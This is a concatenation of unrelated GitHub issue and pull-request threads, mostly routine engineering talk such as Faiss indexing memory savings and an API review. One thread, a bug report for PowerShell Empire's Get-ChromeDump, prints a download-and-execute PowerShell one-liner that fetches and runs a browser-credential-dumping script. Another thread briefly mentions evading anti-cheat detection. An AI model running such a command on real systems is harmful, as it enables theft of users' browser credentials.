Right now, nmslib duplicates the memory during indexing to build the optimized index: https://github.com/nmslib/nmslib/blob/v2.1.1/similarity_search/src/method/hnsw.cc#L347-L470. Because we do not search in memory the index that is created at index time (i.e. we create the index, write it to disk, load it from disk, and then search it), we can avoid this duplication by stopping index creation before we make the additional allocations (https://github.com/nmslib/nmslib/blob/v2.1.1/similarity_search/src/method/hnsw.cc#L347-L351) and then create a new function that will write the non-optimized index to disk as optimized. I played around with this some time ago - will share code

@vamshin whats your thought on the overall solution here?

LGTM! Thanks for the deep dive.
I would still prioritize faiss and quantify the savings through some benchmarks before proceeding to nmslib.

In my understanding we should be able to reduce the total memory footprint by half. So currently if graph takes 1GB then during indexing we need atleast 2GB of off heap space. With the proposed change we should be pretty close to 1GB.
I did a small experiment with the current status, and I can see that we need double the memory and what should be the ideal memory usage.

OverallMemoryFootPrint.csv

Completed the POC code for Faiss library. Ref: https://github.com/navneet1v/k-NN/commit/b1a03e6b9d6131d1a55b9903a6e31d7bb66db84c
Here is the general idea:

I split the createIndex function of JNIService in 2 smaller function: createIndexIteratively, writeIndex. Reason being createIndex function of JNIService was doing 2 things, it was building the index and then it was writing to a file.
The new function createIndexIteratively takes indexAddress as a parameter and see if the indexAddress is not 0, then cast the address of right faiss index and then add the vectors.
The number of vectors which are send for creating the index are based on the design of https://github.com/opensearch-project/k-NN/issues/1506

Next steps:
I will test with faiss and see the memory footprint. Once it is good, I will try to port the changes for nmslib too.

So I did some testing and I can see that with the POC code(https://github.com/navneet1v/k-NN/commit/716507947224480574bd11920f9b2408036d20b8). Here are the observations:

I am able to remove the extra memory(vectors memory) during force merge as compared to current 2.x version and 2.13 versions.
The memory usage doesn't jump that quickly but slowly progress, which is happening because we are creating the graphs in a progressive fashion and never sending more than 1% of heap size memory vectors to JNI layer.

Experiment Configuration

Key
Value

Dataset
sift-128

# vectors
1M

Heap
1GB

VCPU
4

Tool
OSB

Engine
Faiss

Raw data:
updated_memory_footprint.xlsx
This provides a strong evidence that we should build the graphs in progressive fashion.
Further Items to be looked at:

Once the indexing/force merge is completed we can still see more memory usage as compared to what we started with(for all the versions). My initial thoughts on that is it is the doc values files which are mapped. I am seeing a 200MB increase in memory which correlates to 2 ~100MB doc values files coming from segment. More deep-dive needs to be done.
When force merge is completed for 2.14 and 2.13, we see a sudden dip in the memory which is exactly same as Memory fix Version(expected for all of them), but then graphs are loaded back in memory for search 2.13 and 2.14 goes back to same level of memory usage(during force merge) as compared to Memory fix Version which is baffling me more. The increase for Memory Fix Version is consistent with the graph file estimate but not adding up for 2.13 and 2.14. More deep-dive is required here.

cc: @vamshin , @jmazanec15

2. When force merge is completed for 2.14 and 2.13, we see a sudden dip in the memory which is exactly same as Memory fix Version(expected for all of them), but then graphs are loaded back in memory for search 2.13 and 2.14 goes back to same level of memory usage(during force merge) as compared to Memory fix Version which is baffling me more. The increase for Memory Fix Version is consistent with the graph file estimate but not adding up for 2.13 and 2.14. More deep-dive is required here.

On doing 1 more experiment with MemoryFix version and higher RAM I can see same memory consumption as that of 2.13 and 2.14. Possible explanation is because memory was available operating system kept on using it.
I also confirmed by killing the containers and running them back and just did the search. The memory was < 2GB which is correct expectation.

On doing 1 more experiment with MemoryFix version and higher RAM I can see same memory consumption as that of 2.13 and 2.14. Possible explanation is because memory was available operating system kept on using it.

Im wondering if we can identify which of the memory is from page cache and which was from anonymous rss. We can get metrics from metric collector script by finding PID outside of docker and checking proc file system.
Also, did these set of experiments use jemalloc? I dont see it in https://github.com/navneet1v/opensearch-vectorsearch-sample.

@jmazanec15 it uses jemalloc: https://github.com/navneet1v/opensearch-vectorsearch-sample/blob/main/constraint-env-benchmarks/Dockerfile_Memory_Fix#L3 . I think I have configured it correctly.

Im wondering if we can identify which of the memory is from page cache and which was from anonymous rss. We can get metrics from metric collector script by finding PID outside of docker and checking proc file system.

Yeah I want to do that. Let me talk to you on this.

So I have updated the code to capture RSS metrics too here: https://github.com/navneet1v/opensearch-vectorsearch-sample/blob/main/constraint-env-benchmarks/capture_memory_metrics.sh#L42-L43 I will run experiments to give more granular details on RSS.

@vamshin , @jmazanec15
With the help of @jmazanec15 I am able to setup the jemalloc in the experiments. I am seeing some positive results after that with Memory Fix version. Will add more details once I complete the experiments.

I completed the experiments and here are the results. Jemalloc helped to remove a lot of fragmentation which was happening earlier.
Experiment Configuration

Key
Value

Dataset
sift-128

# vectors
1M

Heap
1GB

VCPU
4

Tool
OSB

Engine
Faiss

RAM(2.14)
2.6G

RAM(Mem fix version)
2.1G

Ideal Memory usage
< 2G ~ 1.9G

Memory Fix Version

The total Anon RSS always remains below the theoretical max. (Heap + Graph usage)
File cache come into play but it is dynamic and tries to take up space based on what is available.

2.14 Version

The memory footprint is higher than theoretical max, which is expected because when we are creating the Faiss index, we have both vectors and graph at the same time in the memory.

Raw values:
updated_memory_footprint.xlsx
cc: @jmazanec15 , @vamshin

@navneet1v exciting results. Did we verify the recall is intact and what is the observation on the build times with and with out the fix?

@navneet1v exciting results. Did we verify the recall is intact and what is the observation on the build times with and with out the fix?

Yes the recall were same for the both the experiments.

i want to talk about the memory reduce scenarios.
if we just write the vector into file like indexFlat format. and we do not transfer the memory to jni layer. let faiss read the memory from file as needed. it can reduce the memory even less than 1GB in write and merge scenarios.

@luyuncheng yes that is one possibility, but this assumes that while creating the index we are reading the file partially in efficient fashion because during index creation too, you need to calculate distances between vectors.
And as we were discussing on the github reading from file adds a lot of iops, in case of indexing this can really slow down the whole process.

yes that is one possibility, but this assumes that while creating the index we are reading the file partially in efficient fashion because during index creation too, you need to calculate distances between vectors.

sure, we need take the iops into consideration.
BTW, i really like this: https://github.com/navneet1v/k-NN/commit/716507947224480574bd11920f9b2408036d20b8.

@navneet1v One idea I came across: I am wondering if we can avoid the page cache via passing O_DIRECT for reading/writing the file. O_DIRECT will hint to OS to avoid using page cache if possible.
On read, it will prevent an additional copy. So, instead of disk copyto pagecache copyto anon memory, it will be disk copyto anon memory. Thus, it may speed up loads as well as well as reduce memory usage/page cache thrashing.
On write, I think its a little trickier with synchronization, but it would avoid copying to page cache before writing to disk.
Downsides would be:

Read after writes would be slower if pages were present in cache. i.e. we write the graph, graph gets cached in page cache, we then load it
Sync on write might be trickier

@fddattal and I had a discussion some time ago about this I believe. Do you have any thoughts on this?

@jmazanec15 Thanks for looping me into the discussion!
I recall when we discussed with Kiran that one of the issues with O_DIRECT is its behavior is actually not standardized.
For example, there are some circumstances that it would still internally buffer data.
Here's the best article I have found on explaining that: https://ext4.wiki.kernel.org/index.php/Clarifying_Direct_IO's_Semantics
As I am aware Scylladb folks use O_DIRECT. They have a pretty good engineering blog which may be of help to us
https://www.scylladb.com/2017/10/05/io-access-methods-scylla/
At the time we considered implementing it, we didn't due to time constraints.  In theory, it can outperform typical read/writes but it is a bit of a can of worms as you will need to direct the OS more regarding how to behave.

Thanks @fddattal. I was thinking that we already cache in-memory graphs. So, the fact that there is an intermediate stage where we are reading the file into the page cache and then copying it seems inefficient - if we just remove it, we wouldnt have to do anything else to get benefit.

one of the issues with O_DIRECT is its behavior is actually not standardized
Thats good to know. I thought it might have been in POSIX standard. Thatll make things tricky.

RFC for solution is added here: https://github.com/opensearch-project/k-NN/issues/1938

Closing this issue as the feature is merged in 2.17 branch and will be released in 2.17 version of Opensearch


delivery service restful API: create, edit and delete

Add delivery service restful API: create, edit and delete.
The APIs document is at https://docs.google.com/document/d/13GjIizusc7iUZq7TuVrsp8JZ2eEx52xUtoX9uRNzFgc/edit?usp=sharing

We'll need to revise this to be in-line with the API Guidelines before ready for merge.

any updates on this? @limited  i know you said you wanted to run it past the api guidelines...

Waiting for our next sprint, ETA is end of next week

The code is updated.

this api now has conflict, can you please resolve and I'll take a look at it.

The conflict is resolved.

Are you sure your CREATE API does everything it's supposed to do? Looking at https://github.com/Comcast/traffic_control/blob/master/traffic_ops/app/lib/UI/DeliveryService.pm#L956
it looks like creating a DS thru the UI does the following:

checks role (ops or above)
is there an existing xml_id
validates the fields
inserts regexes into regex table
insert deliveryservice regexes into deliveryservice_regex table
create header rewrites
create regex_remap
create cacheUrl
create dnssec keys

Can you make sure your API for CREATE does all of that?

One step is missing: "create dnssec keys". It is added now.

Thanks Jeremy for the suggestion!
Updated for solving conflict.

POST /api/1.2/deliveryservices is dying with this error:
[2016-06-29 21:32:05,883] [ERROR] Can't locate object method "riak_get" via package "cdn-name" (perhaps you forgot to load "cdn-name"?) at ~/traffic_control/traffic_ops/app/lib/UI/DeliveryService.pm line 1123.
but if i comment out these 2 lines it works fine:
https://github.com/jifyang/traffic_control/blob/ds/traffic_ops/app/lib/API/DeliveryService.pm#L481-L482
i wonder if there's something wrong with the way you are creating dnssec keys...

The error
"POST /api/1.2/deliveryservices is dying with this error: ......"
also is fixed.

Tested create, edit and delete apis. Unit and integration tests pass. There are a few things I would prefer to be changed (like getting the request json datatypes to emulate the response json of GET /api/1.2/deliveryservices/:id.json) but that can be handled in subsequent releases. Merging.


publish source tarball on pypi?

👋 looks like source tarball is missing on pypi, can you publish one? Thanks!

cc @skelsec

Gentle ping on this! Publishing your sdists to PyPI would improve our ability to keep packages in Homebrew up-to-date when they depend on this package.


Fix "ValueError: invalid interpolation syntax in" for special chars in SQLALCHEMY_DATABASE_URI

Currently, when you have special chars, that need to be URL escaped for the SQLALCHEMY_DATABASE_URI, lemur init will fail with a "ValueError: invalid interpolation syntax" during the alembic migragtions.
This is caused, by the fact that alembic uses the python configparser, which needs double % to properly escape them, as reported in miguelgrinberg/Flask-Migrate/issues/122
The workaround is to double escape the % sign, in the migrate/env.py, double escaping it directly in the  SQLALCHEMY_DATABASE_URI will result in other DB connections not working.

Coverage remained the same at 58.654% when pulling 55658c5f23870c44f01754bfc0b8df8dffc7f361 on unic:hotfix/fix-alembic-url-escaping into cd29b2b870ae7bc89be5bf92491cea0641b48b1b on Netflix:master.

Thanks for the PR @peschmae. Merging now.


Get-ChromeDump Sqlite assembly issue

Empire Version
1.5.0
OS Information (Linux flavor, Python version)
ubuntu 14.04
python 2.7
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
from cmd.exe
powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellEmpire/Empire/raw/master/data/module_source/collection/Get-ChromeDump.ps1'); Get-ChromeDump
Every time I run Get-ChromeDump I get error
WARNING: [!]Unable to load SQLite assembly
Screenshot of error, embedded text output, or Pastebin link to the error
sysinfo
Computer        : ********-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : ********
Logged On Users : 2
Meterpreter     : x64/win64
Any additional information
Here's log
Log when I tried to Add assembly manually
Could not load file or assembly 'System.Data.SQLite, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=db937bc2d44ff139' or one of its dependencies. The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail. (Exception from HRESULT: 0x800736B1)

Hey @DanelMalsky,
I pushed a fix to the dev branch. If you do a pull on that branch (or replace your local copy of Get-ChromeDump.ps1 with the one from the dev branch), it should be fixed. The commit is here: https://github.com/PowerShellEmpire/Empire/commit/9df8e9bf03b8da316a1e997f46721f60ce9dba05
Feel free to re-comment on this if the fix doesn't do it for you. I was able to reproduce the error I have tested the fix on both Windows 7 and Windows 10 without error.
Thanks!


Fix range: Add missing type definitions

Adds missing type definitions for the range component that are documented on the website but not in the type declarations.

Merged, thanks!


feat: add lib checkout to only pull current pr

Only checkout code of the current PR instead of all PRs, reducing unnecessary consumption of download bandwidth.
Add a checkoutV2 method to avoid unexpected errors affecting all related pipelines.When running for a period of time without any unexpected situations, replace the existing logic that uses checkout.

reply test  https://do.pingcap.net/jenkins/blue/organizations/jenkins/pingcap%2Ftidb-test%2Fghpr_mysql_test/detail/ghpr_mysql_test/218/pipeline


Copyright 2018

The dates in our copyright notice and license should be updated to 2018.
@pjljvandelaar you have mentioned an updated copyright notice. Should we wait for it or just update current notices?

@HarmMunkESI what should the text be, since ESI naming has changed: e.g. from ESI by TNO to a separate entity....

I assume that this issue also solve the year in the installer. I assume it is just the license...

Installer is a separate repository and it should be checked separately, but of course we can do them at the same time.


doubts on funchook?

hey very interesting project, but is the hooking method not going to be detected since it uses generic approaches such as trampoline hooking? took a look at other projects and they're using kiero/minhook

Mh also trampoline lmao, changing to another hooking library doesnt make ur code magically undetected

Yes this hooking is probably detected

You can do inline hooking if you have a proper VAC bypass.


Fixes #2656: Fixed Android resource validation error

Description
Fixed Android resource validation error in the custom_search_suggestion.xml file by changing the ID attribute.
Related issues and discussion
Fixes #2656

@teolemon @deniger Please review this PR.


Companion animations

Description
Task: [Companion Animations].
Feature: [Companion sprint 1] (#7 )
Adding a basic animations for future features and levels.
Dependencies
-[] Companion initialisation on map (#38)
Milestones
List of steps that need to be completed for this task.

[ ] Step 1 - Created animations and static images that could be utilised in forthcoming sprints.

Completion Deadline: Aug 28.
Documentation

TBD

Member

Raghavendra Singh Gulia (RagGul)(tantrik8119)

Please ensure you link the feature ticket this task ticket is referring to. Also, assign members and add labels to this.

Let's reduce the number of team members working on this to 2, ideally

This is an outdated ticket of sprint 1 not completed


error

Hello,
Do you have any idea of this?
Thanks
Traceback (most recent call last):
File "/home/saria/Downloads/topic-rnn-master/train_model.py", line 117, in
main()
File "/home/saria/Downloads/topic-rnn-master/train_model.py", line 104, in main
logger.info(model)
UnboundLocalError: local variable 'model' referenced before assignment
Process finished with exit code 1

I am also interested in this model and wanna have a try. Do you have any chance to update the code?
Thanks a lot!

I'm planning a big overhaul, mainly, porting the code to AllenNLP so that experiments can be run with configs, vocabulary / tokenization would lean on a tried-and-true library instead of my own making, etc. Another thing I have to do is download the IMDB dataset to try to match the results of the paper to add validity to the code base. Right now in the dev branch, the results that come out of it are inconclusive until I do that.

Just a heads up, the AllenNLP refactor can be found here: https://github.com/dangitstam/topic-rnn
As of now, there is no support for users but I plan on adding READMEs and robustness (i.e. tests and examples on how to set up your dataset) in the future. Although code is merged to master, that is personally just a checkpoint that I know runs properly.
There also currently isn't topic printing or true language modeling yet (i.e. disallowing a full view of the text before allowing the VAE to make inference) but a lot of the guts are there.


Collegium Balticum Szczecin

addind my school - Collegium Balticum based in Szczecin, Poland (example@cloud.cb.szczecin.pl).

@ameliaevans I have to close this request without merging, because you requested to add a non-existent domain to this repository: Host cloud.szczecin.pl not found: 3(NXDOMAIN) Please ensure that you are familiar with this repository rules located at the bottom of this page and submit a new request with the correct information. Thank you for understanding!


chore: add winloop as a dependency for windows

Describe your changes
Related Issues / Projects
Checklist

[ ] I've manually tested my code
[x] The changes pass pre-commit checks (make lint)
[x] The changes follow coding style

we no longer use pipenv. @7mochi this pr would need to be changed

PR is fully tested btw.

closing in favor of #582


License missing

please add a license

You can find the license for this SDK here:
https://github.com/dropbox/dropbox-sdk-dotnet/blob/master/dropbox-sdk-dotnet/LICENSE


request help:  APISIX Ingress Annotation  Document

When I use APISIX, the business itself needs relatively complex routing rules, so I use Annotation of Ingress
But I didn't find the Apisix Ingress Annotation document,
Like this link nginx-ingress-annotation-document
Found this link apisix-ingress-annotation-document
But the content is very limited

You can find some available annotations and examples of their use here. https://github.com/apache/apisix-ingress-controller/tree/master/test/e2e/annotations
Welcome to submit PR and improve the document together.

This access link is invalid, could you please post a new link?

https://github.com/apache/apisix-ingress-controller/tree/master/test/e2e/suite-annotations here.

Any update plz?
e.g. k8s.apisix.apache.org/auth-type: "keyAuth" adding to the docs


Test welcome action

Made changes int greet_message.yml review it. Please allow to make pr on master.

Issue: #738

Great thank you!


Keeping images in cache

Sciview seems to keep images in cache. After closing an image and modifying it outside of sciview, sciview does not open the modified version but reopens the old one. Keeping the images too long in buffer, can also lead to full buffers and preventing the opening of new files when the allocated memory is used up.

I'm closing this because almost all of the code that would affect this issue has changed since the original issue was posted. I also believe we would have heard about this issue again.


Updating doc according to browserify's

This would fix #568.
Doc corrected according to @Apercu

You have to create it to the uber repo, not your own master branch